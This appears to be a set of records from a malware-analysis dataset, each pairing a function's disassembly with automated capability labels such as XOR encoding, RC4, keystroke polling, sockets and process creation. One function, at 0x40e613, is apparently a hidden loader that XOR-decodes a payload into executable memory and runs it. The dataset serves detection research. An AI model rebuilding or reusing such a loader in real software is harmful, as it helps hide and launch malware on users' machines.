joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b6e8
Capabilities:
Check if file exists

Disassembly:
push 0x24
mov eax, 0x416c04
call fcn.00413fed
xor edi, edi
mov dword [ebp - 0x10], edi
mov esi, 0x104
push esi
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], edi
call fcn.0040e613
mov ebx, dword [ebp + 0xc]
cmp dword [ebx + 0x14], 0x10
mov dword [ebp - 4], edi
jb 0x40b720
mov eax, dword [ebx]
jmp 0x40b722
mov eax, ebx
lea ecx, [ebp - 0x10]
push ecx
push dword [ebp - 0x20]
push esi
push eax
call dword [sym.imp.kernel32.dll_GetFullPathNameA]
cmp eax, edi
je 0x40b7a0
cmp eax, esi
jae 0x40b7a0
push esi
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
call fcn.0040e613
mov esi, dword [ebp - 0x2c]
sub esi, dword [ebp - 0x30]
mov byte [ebp - 4], 1
push esi
push dword [ebp - 0x30]
push dword [ebp - 0x20]
call dword [sym.imp.kernel32.dll_GetLongPathNameA]
cmp eax, edi
je 0x40b77f
cmp eax, esi
jae 0x40b77f
push dword [ebp - 0x30]
mov ecx, dword [ebp + 8]
call fcn.00404c84
lea ecx, [ebp - 0x30]
call fcn.00409d10
jmp 0x40b7ca
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
je 0x40b79b
push eax
push dword [ebp - 0x20]
push str.Unable_to_get_long_path_name_for___s_:_GetLongPathName_failed__error__d__n
call fcn.0041130e
add esp, 0xc
push dword [ebp - 0x20]
jmp 0x40b76d
cmp dword [ebx + 0x14], 0x10
jb 0x40b7aa
mov esi, dword [ebx]
jmp 0x40b7ac
mov esi, ebx
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push esi
push 0x41a818
call fcn.0041130e
mov ecx, dword [ebp + 8]
add esp, 0xc
push ebx
call fcn.004080ea
lea ecx, [ebp - 0x20]
call fcn.00409d10
mov eax, dword [ebp + 8]
call fcn.0041408c
ret
Function at 0x40bafa
Capabilities:
Compare security identifiers

Disassembly:
push 0x34
mov eax, 0x416ca2
call fcn.00414056
lea eax, [ebp - 0x24]
push eax
xor ebx, ebx
push ebx
push 8
call dword [sym.imp.kernel32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x40bb4c
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3f0
jne 0x40bbf7
lea eax, [ebp - 0x24]
push eax
push 8
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40bbf7
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
push 0x400
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
call fcn.0040e613
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov byte [ebp - 4], 1
jmp 0x40bb9d
call dword [sym.imp.kernel32.dll_GetLastError]
lea ecx, [ebp - 0x38]
cmp eax, 0x7a
jne 0x40bbe6
push dword [ebp - 0x34]
lea eax, [ebp - 0x40]
push esi
push eax
call fcn.00401fa0
push dword [ebp - 0x20]
lea ecx, [ebp - 0x38]
call fcn.0040e613
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x20]
push ecx
sub eax, esi
push eax
push esi
push 2
push dword [ebp - 0x24]
mov dword [ebp - 0x20], ebx
call edi
test eax, eax
je 0x40bb77
lea eax, [ebp - 0x3c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x18], ebx
mov word [ebp - 0x14], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x40bbff
lea ecx, [ebp - 0x38]
call fcn.00409d10
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.0040b269
xor al, al
call fcn.004140a0
ret
xor edi, edi
mov byte [ebp - 0x19], bl
cmp dword [esi], ebx
jbe 0x40bc28
lea ebx, [esi + 4]
push dword [ebp - 0x3c]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x40bc24
inc edi
add ebx, 8
cmp edi, dword [esi]
jb 0x40bc0b
jmp 0x40bc28
mov byte [ebp - 0x19], 1
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
lea ecx, [ebp - 0x38]
call fcn.00409d10
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.0040b269
mov al, byte [ebp - 0x19]
jmp 0x40bbf9
Function at 0x40e613
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40e622
pop dword [ebp - 0x48]
mov eax, 0x40e622
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x4afdceaa
sub dword [ebp - 0x58], 0xfcab895f
mov dword [ebp - 0x54], 0x2fb81d45
add dword [ebp - 0x54], 0x27b2f00
mov dword [ebp - 0x50], 0xdbb63bec
add dword [ebp - 0x50], 0x70960842
mov dword [ebp - 0x4c], 0x1a722458
sub dword [ebp - 0x4c], 0x1a722458
lea eax, [ebp - 0x58]
push eax
mov eax, 0x7f01cb66
sub eax, 0x7ec04a82
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xf3ee90e4
add dword [ebp - 0x58], 0x8083d872
mov dword [ebp - 0x54], 0xef052272
add dword [ebp - 0x54], 0x52673f03
mov dword [ebp - 0x50], 0xc78e7c13
sub dword [ebp - 0x50], 0x641f0fa7
mov dword [ebp - 0x4c], 0x73aaa530
add dword [ebp - 0x4c], 0x8c555ad0
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x7a9961bc
sub eax, 0x7a57e0e4
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x39ecf
push 0
call eax
mov ecx, 0xbed783e6
sub ecx, 0xbed73633
xor edx, edx
add edx, eax
mov ebx, 0x429600
add ebx, dword [ebp - 0x48]
mov edi, 0x7aae6cd1
sub edi, 0xffa1365c
add dword [ebp - 0x1c], 0x2e729507
mov esi, dword [ebx]
mov dword [ebp - 0x44], 0x95dca1d1
xor esi, edi
mov dword [ebp - 0x2c], 0x538365fb
mov dword [edx], esi
add edx, 4
add ebx, 0x81db2e88
sub ebx, 0x81db2e84
loop 0x40e73b
add eax, 0x1edfb6ed
add eax, 0xe12172b2
mov ebx, eax
add eax, 0xd1a02be6
add eax, 0x2e5fd41f
mov ecx, 0x6c3d1a97
sub ecx, 0x6bfd1a97
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x40f43b
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x424eb0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
imul edi, edi, 0x3e8
mov al, byte [0x4252d0]
test al, al
je 0x40f464
call fcn.0040e613
push edi
push dword [0x4252d8]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.kernel32.dll_GlobalMemoryStatus]
mov ecx, dword [ebp - 0x18]
mov eax, dword [0x424e14]
cmp ecx, eax
sbb esi, esi
shr eax, 0x14
push eax
mov eax, dword [ebp - 0x1c]
shr ecx, 0x14
push ecx
shr eax, 0x14
push eax
push str.Memory_status:_total___u_available___u_limit___u_n
push 4
call fcn.00411620
add esp, 0x14
neg esi
je 0x40f4b9
push str.Low_memory_condition___skipping_refresh_operation_n
push 3
call fcn.00411620
pop ecx
pop ecx
jmp 0x40f456
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00413fde
leave
ret

Function at 0x40f5dc
Capabilities:
Get memory capacity

Disassembly:
cmp dword [0x425220], 0
jne 0x40f5f8
cmp dword [0x425218], 0
jne 0x40f5f3
jmp fcn.0040f43b
jmp fcn.0040f371
jmp fcn.0040f4c7

Function at 0x40fdb2
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push 0x1bc
mov eax, 0x417336
call fcn.00414056
mov eax, dword [ebp + 8]
push 0x5c
push eax
mov dword [ebp - 0x1c8], eax
lea eax, [ebp - 0x48]
push eax
call fcn.0040a42d
push 0x41cb30
push eax
lea eax, [ebp - 0x2c]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call fcn.0040e613
add esp, 0x18
push ebx
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 2
call fcn.00403933
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x40fe08
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x1c0]
push ecx
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov dword [ebp - 0x1c4], eax
cmp eax, 0xffffffff
je 0x40fed6
cmp byte [ebp + 0xc], bl
je 0x40feaf
test byte [ebp - 0x1c0], 0x10
je 0x40feaf
push 2
mov edi, 0x41cb34
lea esi, [ebp - 0x194]
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x40feaf
push 3
mov edi, 0x41cb38
lea esi, [ebp - 0x194]
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x40feaf
push 0x5c
push dword [ebp - 0x1c8]
lea eax, [ebp - 0x80]
push eax
call fcn.0040a42d
lea ecx, [ebp - 0x194]
push ecx
push eax
lea eax, [ebp - 0x64]
push eax
mov byte [ebp - 4], 3
call fcn.0040e613
push dword [ebp + 0xc]
mov byte [ebp - 4], 4
push eax
call fcn.0040fdb2
add esp, 0x20
push ebx
push 1
lea ecx, [ebp - 0x64]
call fcn.00403933
push ebx
push 1
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 2
call fcn.00403933
lea eax, [ebp - 0x1c0]
push eax
push dword [ebp - 0x1c4]
call dword [sym.imp.kernel32.dll_FindNextFileA]
test eax, eax
jne 0x40fe25
push dword [ebp - 0x1c4]
call dword [sym.imp.kernel32.dll_FindClose]
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.00403933
call fcn.004140a0
ret
Function at 0x412d04
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x424eb0]
xor eax, esp
mov dword [esp + 0x190], eax
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.ws2_32.dll_WSAStartup]
test eax, eax
je 0x412d38
push eax
push str.Unable_to_initialize_socket_library__error__d_n
call fcn.004115c7
pop ecx
pop ecx
mov ecx, dword [esp + 0x190]
xor ecx, esp
call fcn.00413fde
add esp, 0x194
ret

Function at 0x412f61
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push 0x28
mov eax, 0x417882
call fcn.00414056
mov esi, ecx
lea ecx, [esi + 0xc]
mov dword [ebp - 0x34], esi
mov dword [esi], vtable.Socket.0
call fcn.0040e613
and dword [ebp - 4], 0
push 6
push 1
push 2
mov byte [esi + 0x14], 0
call dword [sym.imp.ws2_32.dll_socket]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x412fcf
and dword [ebp - 0x20], 0
push 0xf
pop eax
push eax
push str.socket___failed
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x30], 0
call fcn.00404698
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
mov dword [ebp - 0x14], eax
push 0x421b08
lea eax, [ebp - 0x30]
push eax
call sub.msvcr100.dll__CxxThrowException
mov dword [esi + 8], accept
mov eax, esi
call fcn.004140a0
ret

Function at 0x413a0e
Capabilities:
Create thread

Disassembly:
push ecx
push esi
lea eax, [esp + 4]
push eax
push 0
mov esi, ecx
push esi
push 0x41399d
push 0
push 0
call dword [sym.imp.msvcr100.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 4], eax
pop esi
test eax, eax
jne 0x413a54
call dword [sym.imp.msvcr100.dll__errno]
push dword [eax]
call dword [sym.imp.msvcr100.dll_strerror]
push eax
push str.Unable_to_start_thread:__s_n
call fcn.0041130e
add esp, 0xc
xor al, al
pop ecx
ret
mov al, 1
pop ecx
ret

Function at 0x413fde
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424eb0]
jne 0x413fe8
repz ret
jmp fcn.00414667
Function at 0x411800
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4809eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00475338
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x411882
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00473223
mov eax, dword [eax]
push 0x7ad214
push eax
call fcn.004651c4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004755c3
test bl, bl
je 0x411882
push 0x7ad214
lea ecx, [esp + 0xc]
call fcn.00475953
push 0x7b0da0
lea ecx, [esp + 0xc]
call fcn.00475953
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4118be
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004755c3
jmp 0x411989
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x411942
lea edx, [esp + 0x7c]
push 0x7b0d9c
push edx
call fcn.004651c4
add esp, 8
test eax, eax
je 0x411942
lea eax, [esp + 0x7c]
push 0x7b0d98
push eax
call fcn.004651c4
add esp, 8
test eax, eax
je 0x411942
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4118d2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004755c3
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x412be0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x412c42
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x412c50
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x480b4b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x7c0160]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x412d88
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x412cb6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004755c3
xor eax, eax
jmp 0x412dff
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00475700
push esi
lea ecx, [esp + 0xc]
call fcn.0047598f
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x412ddd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.00412be0
test eax, eax
jne 0x412ddd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.00412be0
test eax, eax
jne 0x412ddd
lea eax, [esp + 0x14]
push str.__1_
push eax
call fcn.004663d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x412dbc
lea ecx, [esp + 0x14]
push 0x7b0db0
push ecx
call fcn.00466350
mov esi, eax
add esp, 8
test esi, esi
jne 0x412dbc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x412dbf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004756b0
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x412cce
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004755c3
xor eax, eax
jmp 0x412dff
mov byte [esi], 0
push 0x7b0dac
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004755c3
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x425ea0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x425f0e
cmp si, 0x69
ja 0x425f0e
add esi, 0xffd0
cmp si, 0x11
je 0x425ede
push 0x11
call edi
test ax, ax
jge 0x425ede
or esi, 0x2000
cmp si, 0x10
je 0x425ef3
push 0x10
call edi
test ax, ax
jge 0x425ef3
or esi, 0x4000
cmp si, 0x12
je 0x425f08
push 0x12
call edi
test ax, ax
jge 0x425f08
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x425f1b
mov esi, 0xbd
jmp 0x425ecf
cmp si, 0x6e
jne 0x425f28
mov esi, 0xbe
jmp 0x425ecf
cmp si, 0x6f
jne 0x425ec9
mov esi, 0xbf
jmp 0x425ecf

Function at 0x427970
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x7d08c0]
xor edx, edx
cmp eax, edx
jne 0x427996
xor eax, eax
mov byte [eax + 0x7d07c0], al
inc eax
cmp eax, 0x100
jl 0x42797e
mov dword [0x7d08c0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x7d07c0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x427a27
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4279fa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4279c8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x427aa0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x427af3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x427ada
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42e950
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x42eae8
cmp ebp, ebx
jle 0x42eae8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x42e9ae
dec eax
or eax, 0xfffffff8
inc eax
je 0x42e9b5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x42e9c4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42e9cb
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.00475304
add esp, 4
cmp eax, ebx
je 0x42e9ec
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.00475304
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42eade
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x42eac5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x42eab1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x42eaa6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x42eab4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x42eab4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x42ea50
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x42ea41
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x431b10
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4823a8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x431b49
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.0047ccdb
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.0047cd27
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00431bd0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.0047cd64
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
Function at 0x436090
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x482b38
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x6c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x74]
push edi
push eax
mov eax, dword [esp + 0x74]
push ecx
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call fcn.00436c10
lea edx, [esp + 0x18]
push eax
push edx
call dword [sym.imp.USER32.dll_CopyRect]
mov eax, dword [esp + 0x18]
xor edi, edi
xor ecx, ecx
cmp eax, edi
setl cl
dec ecx
xor edx, edx
and ecx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edi
mov dword [esp + 0x18], ecx
setl dl
dec edx
and edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x20], edx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x436139
mov eax, dword [esp + 0x6c]
push ebx
mov ebx, eax
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.00435d20
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push ecx
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
push edi
lea ecx, [esp + 0x4c]
call fcn.0047bf8c
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], edi
call fcn.00445690
mov edx, dword [esp + 0x5c]
add esp, 0xc
lea ecx, [esp + 0x18]
push 2
push ecx
push edx
call dword [sym.imp.GDI32.dll_LPtoDP]
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [esp + 0x38]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_IntersectRect]
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, esi
mov dword [esp + 0x64], 0xffffffff
mov dword [edx], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x34]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x48]
call fcn.0047bffe
mov ecx, dword [esp + 0x5c]
mov eax, esi
pop edi
